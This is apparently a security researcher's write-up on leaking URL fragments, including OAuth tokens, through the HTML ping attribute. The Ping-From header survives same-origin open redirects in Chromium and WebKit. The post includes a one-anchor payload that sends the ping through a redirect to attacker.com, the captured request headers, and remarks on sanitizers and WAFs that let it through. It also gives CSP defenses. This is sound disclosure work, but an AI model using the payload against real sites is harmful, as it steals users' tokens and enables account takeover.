The Story
Recently I went looking for a way to leak the fragment of a URL from the client side. As you know, leaking the URL of a page can have serious impact in client-side scenarios, such as stealing an OAuth code or token using a Non-Happy endpoint (if you're unfamiliar with OAuth Dirty-Dancing, read the linked article). There are various ways to steal the code in the query string of a URL using client-side tricks, such as referrer policy override tricks, but we usually assume it is much harder to steal the fragment using client-side redirects or HTML injection solutions. This is because client-side redirects strip the fragment before redirecting, and a referrer leak also can't leak the fragment, since the fragment is never sent in the Referer header. Yes, there are some exceptions, such as location.hostname or location.host redirects, or having an XSS. But during my investigation, I came across this interesting tweet from @nowaskyjr about the ping attribute, which requires no JavaScript execution. The tweet was about leaking a token held in the query string, along with other sections of the URL, but not the pre-click fragment. But it pushed me to read more about this ping attribute and figure out how to leak the fragment as well (which is more interesting, since the query string can already be leaked using other HTMLi techniques). You may know the ping attribute in HTML, and you may also know that by default, it won't send the issuer's URL in the Ping-From header on a cross-origin request. Yes, you're right, but with an interesting exception. :)
First, let's talk about the attribute itself.
What Is the Ping Attribute?
ping is an attribute of the <a> and <area> elements, and the HTML Standard calls the feature hyperlink auditing (§4.6.7). Its value is a space-separated list of URLs, and when the user follows the link, the browser sends one request to each of them.
The request is defined by the standard. It is a POST with Content-Type: text/ping and the body PING. It includes credentials, so cookies go with it, and it suppresses the referrer. Chromium and WebKit also mark it as keepalive (this is not a header, but a request flag, and in Chromium it means the request survives even after the page navigates away). That is why the ping survives a same-tab navigation, and why the request does not depend on the page that started it. The ping also works with the target="_blank" attribute and with a popup, because those leave the original page open.
The specification defines two request headers in this POST request. Ping-To holds the target URL, resolved from the anchor's href, and Ping-From holds the URL of the document that contains the link, serialized in full.
The second one is the interesting one. The HTML Standard defines it in §4.6.7.1, and unlike Referer, it does not go through the Referrer Policy algorithm, so no policy strips the fragment. The value is the live document URL, and that URL includes location.hash.
A real-world example of this ping attribute is Google Search itself. If you search for something, you will see that the results are inside anchor tags with ping attributes. Here is one example:
<a href="https://www.merriam-webster.com/dictionary/test"
ping="/url?sa=t&source=web&rct=j&url=https://www.merriam-webster.com/dictionary/test&ved=...">
The attribute exists for link analytics. A site can count clicks on outbound links, or an advertiser can measure click-through rates, without wrapping every link in a redirect. The standard gives exactly that motivation, calling the attribute "redundant with pre-existing technologies like HTTP redirects and JavaScript in allowing web pages to track which off-site links are most popular or allowing advertisers to track click-through rates" (§4.6.7). The advantages it lists are performance and transparency. The user sees the real target, the browser fetches the audit request in parallel, and the target page loads faster. In 2013, Mozilla engineers noted that Google's main search page was already using it (Bugzilla 951104, comment 14). Chrome and Safari ship it on, and Firefox ships it off by default (browser.send_pings in about:config), which makes this a Chromium and WebKit story.
Now for the important part, the browser does not send Ping-From to every origin. The rule is in the standard, and Chromium implements it literally in PingLoader::SendLinkAuditPing (here).
scoped_refptr<const SecurityOrigin> ping_origin = SecurityOrigin::Create(ping_url);
if (ProtocolIs(frame->DomWindow()->Url().GetString(), "http") ||
frame->DomWindow()->GetSecurityOrigin()->CanAccess(ping_origin.get())) {
request.SetHttpHeaderField(http_names::kPingFrom,
AtomicString(frame->DomWindow()->Url().GetString()));
}
The condition has two branches. The first one says if the document was loaded over plain http, the browser skips the origin check entirely. The second is the same-origin check, where CanAccess is true when the document and the ping URL share an origin.
So on an HTTP page, a cross-origin ping carries the full URL, fragment included. On HTTPS the second branch applies, and a cross-origin ping gets only Ping-To. That is the wall we have to get around.
Bypassing the Obstacle
Now we have an obstacle to our goal. On HTTPS, Ping-From is never sent with cross-origin requests, so the fragment never leaves the page. Almost every real-world target we face on the web uses HTTPS, so we have to find a way to bypass this, and I tested a few ideas. All of the tests below ran on https://target.com/?code=xyz#token=xyz.
First, I tried an empty href next to a ping to attacker.com. I thought that since the href was empty, the browser would keep the current URL, fragment included, and Ping-To would carry the full URL, including the pre-click fragment, to attacker.com. The result was interesting. The fragment was removed from the page URL, and Ping-To was the full URL, including the query string and the credentials when the URL has them, but not the fragment. That was not enough for our goal, because we still could not steal the fragment. The payload was:
<a href="" ping="https://attacker.com">click me</a>
The observed header was:
Ping-To: https://target.com/?code=xyz
The next idea was to trick the browser into treating the page as http. I put an HTTP URL in the href, hoping for a race condition. If the navigation changed the document URL before the ping was sent, ProtocolIs(Url().GetString(), "http") would return true, and the browser would send Ping-From with the previous URL, including the fragment. It did not happen, because the browser sends the ping POST request first. There was no Ping-From, and Ping-To was the value of the href. The payload was:
<a href="http://target.com" ping="http://attacker.com/">click me</a>
Next, I put two URLs in the ping attribute, one legitimate and one on attacker.com. I thought the browser might check the first URL and send Ping-From to both of them. It did not. https://target.com/x received Ping-From, but https://attacker.com/ did not. So this path was also blocked. The payload was:
<a href="https://foobar.com" ping="https://target.com/x https://attacker.com/">click me</a>
I also tested a redirect. I wondered what would happen if a same-origin URL redirected the ping to a cross-origin site, an open redirect. It makes sense that the first hop, which is same-origin, receives Ping-From, but the second, cross-origin hop does not. That is how the Referer header behaves. Well, it did not. During my tests, I realized that Ping-From is sent to the second hop as well, and it contains the full URL of the page that contains the link, including the pre-click fragment. The payload was:
<a href="https://foobar.com" ping="https://target.com/redirect?url=https://attacker.com/">click me</a>
The second hop received:
Ping-From: https://target.com/?code=xyz#token=xyz
This was a very interesting behavior. We will investigate it in the next section.
Why It Works?
After more investigation, I found that Ping-From is set once, when the ping request is created. The HTML Standard checks the document URL against the initial ping URL, and if the document and the ping URL share an origin or if the document's scheme is not https, the header is added. The request is then a Fetch request, and the redirect handling comes from the Fetch Standard's HTTP-redirect fetch algorithm. That algorithm starts from the same header list and removes the body headers when a redirect changes the method to GET.
Here is the Chromium implementation (link):
if (redirect_info.new_method != original_method) {
// TODO(davidben): This logic still needs to be replicated at the consumers.
//
// The Origin header is sent on anything that is not a GET or HEAD, which
// suggests all redirects that change methods (since they always change to
// GET) should drop the Origin header.
// See https://fetch.spec.whatwg.org/#origin-header
// TODO(jww): This is Origin header removal is probably layering violation
// and should be refactored into //content. See https://crbug.com/471397.
// See also: https://crbug.com/760487
request_headers->RemoveHeader(HttpRequestHeaders::kOrigin);
// This header should only be present further down the stack, but remove it
// here just in case.
request_headers->RemoveHeader(HttpRequestHeaders::kContentLength);
// These are "request-body-headers" and should be removed on redirects that
// change the method, per the fetch spec.
// https://fetch.spec.whatwg.org/
request_headers->RemoveHeader(HttpRequestHeaders::kContentType);
request_headers->RemoveHeader("Content-Encoding");
request_headers->RemoveHeader("Content-Language");
request_headers->RemoveHeader("Content-Location");
*should_clear_upload = true;
}
Here is the Safari implementation (link):
// https://html.spec.whatwg.org/multipage/links.html#hyperlink-auditing
if (protect(document->securityOrigin())->isSameOriginAs(SecurityOrigin::create(pingURL).get())
|| !document->url().protocolIs("https"_s))
request.setHTTPHeaderField(HTTPHeaderName::PingFrom, document->url().string());
request.setHTTPHeaderField(HTTPHeaderName::PingTo, destinationURL.string());
It also removes Authorization on a cross-origin hop. Ping-From is in neither group, so it stays in the list and goes to the next hop. The redirect code does not know what the header means and never repeats the origin check.
This is interesting because other headers that are useful for URL leaks, such as the Referer header, do not work in this way. For example, Referer is computed for every request from the document URL and the page's referrer policy, so its value can change on each hop, while Ping-From was computed once and is never recomputed.
Also, it's worth mentioning that Ping-From is carried through every 3XX redirect, including 301, 302, 303, 307, and 308. The method and body change on 301, 302, and 303, while 307 and 308 keep the original method and body. None of those cases removes Ping-From, so finding any HTTP-based open redirect on the same origin is enough. It does not have to use a specific status code or a particular redirect implementation.
Firefox is a different story. Even with browser.send_pings enabled, it does not reproduce the chain. The default value of browser.send_pings.require_same_host is false, so Firefox follows the cross-origin redirect, but neither Ping-From nor Ping-To is present on the redirected request. The first hop receives both, and the redirect drops them. Setting browser.send_pings.require_same_host to true restricts pings to the document's own host, so the cross-host second hop never happens. Firefox does not send the ping through its Fetch implementation. SendPing creates the request with NS_NewChannel and sets the headers directly on the channel. The replacement path in HttpBaseChannel copies only its own fixed header set. That is why the custom ping headers do not reach the replacement channel. The require_same_host blocking is a separate policy choice, and the HTML Standard allows user agents to ignore pings or selectively ignore URLs. The header drop on a redirect that Firefox does follow is the implementation gap. I tested Firefox 124 and Firefox 160, and both behave the same way. So the behavior is not universal. Chromium and WebKit follow the Fetch header-preservation algorithm, and Firefox does not.
The Chain
The chain comes down to three ingredients. The first is a URL that carries something sensitive in its path, its query string, or its fragment, with a non-happy OAuth endpoint as the classic case. The second is an HTML injection on that page. The third is a server-side open redirect on the same origin, and it works whatever status code it returns.
The payload itself is a single anchor.
<a href="https://anything.tld/" ping="https://domain.tld/?url=https://attacker.com/">click me</a>
The href is irrelevant. It can be #, a real page, or a dead link. What matters is the ping URL, which points at the open redirect on domain.tld. Because that URL is same-origin, the browser attaches Ping-From when the link is clicked, and the redirect then repeats the request at attacker.com with the header still attached.
The listener sees something like this.
POST /?url=https://attacker.com/ HTTP/1.1
Host: domain.tld
Ping-From: https://domain.tld/callback?code=XXX#token=YYY
Ping-To: https://anything.tld/
Content-Type: text/ping
After a 302 the method becomes GET and the body is gone, but the headers that matter are unchanged.
GET / HTTP/1.1
Host: attacker.com
Ping-From: https://domain.tld/callback?code=XXX#token=YYY
Ping-To: https://anything.tld/
The whole URL is there, including the fragment. If the page is an implicit-flow OAuth callback, that fragment is the access token. If it is a password reset or an email confirmation, the fragment may hold the token. And if the secret is in the query string, it is there too. One click is enough, with no JavaScript, no popup, and no interaction with the redirect page.
Conclusion
Alright, we looked at the ping attribute from a security perspective and used it, with an open redirect, to leak the query string and the fragment of the URL. Because the browser sees a same-origin URL in the ping value, it adds the Ping-From header, and that header survives 3xx redirects as well. This behavior occurs in both Safari and Chrome in their default configuration (tested on Safari 27.2 and Chrome 157). The good news is that most WAFs, such as Akamai, Cloudflare, and Imperva, are relaxed about the ping attribute, and so are some custom sanitizers. Since ping is not an event handler, a sanitizer that allows markup like <a href="" xxx=""> probably allows ping as long as it doesn't blacklist it. In real-world injections, I have seen many sanitizers that block every other tag but a few, including the anchor (<a>) tag, and to prevent JavaScript execution, they only block onXXX attributes and append target="_blank" to the payload. So this ping attribute trick works on them. The fragment is the part of a URL that browsers try hardest to keep off the wire, and Ping-From is the one request header that puts it there anyway. The same-origin check does not protect it, because that check only decides where the first request goes. A same-origin open redirect decides where the request ends up, and the status code never matters. The Fetch redirect algorithm removes Authorization and the Content-* body headers, but not Ping-From. That is the bug in one sentence. For defenders, the fix is a connect-src policy that covers the redirect target, plus, obviously, no open redirects on the origin. For hunters, there is a mindset lesson here: when a browser feature adds a header from page state, ask what the header contains, when it is suppressed, and whether a redirect recomputes it.
On defenses, a connect-src policy does stop this. CSP checks the ping request and checks it again on the redirect hop against the new URL (CSP Level 3 §6.1.2), so connect-src 'self' blocks the hop to attacker.com. Most sites do not set connect-src, though, and a policy that only sets script-src has no effect here.
I also built a challenge for this chain on PwnBox. You can try it at https://pwnbox.io/challenges/batman. It is a good way to practice the full path, from the injection to the token.
And next time you want to ping someone or somewhere, be aware of the risk =)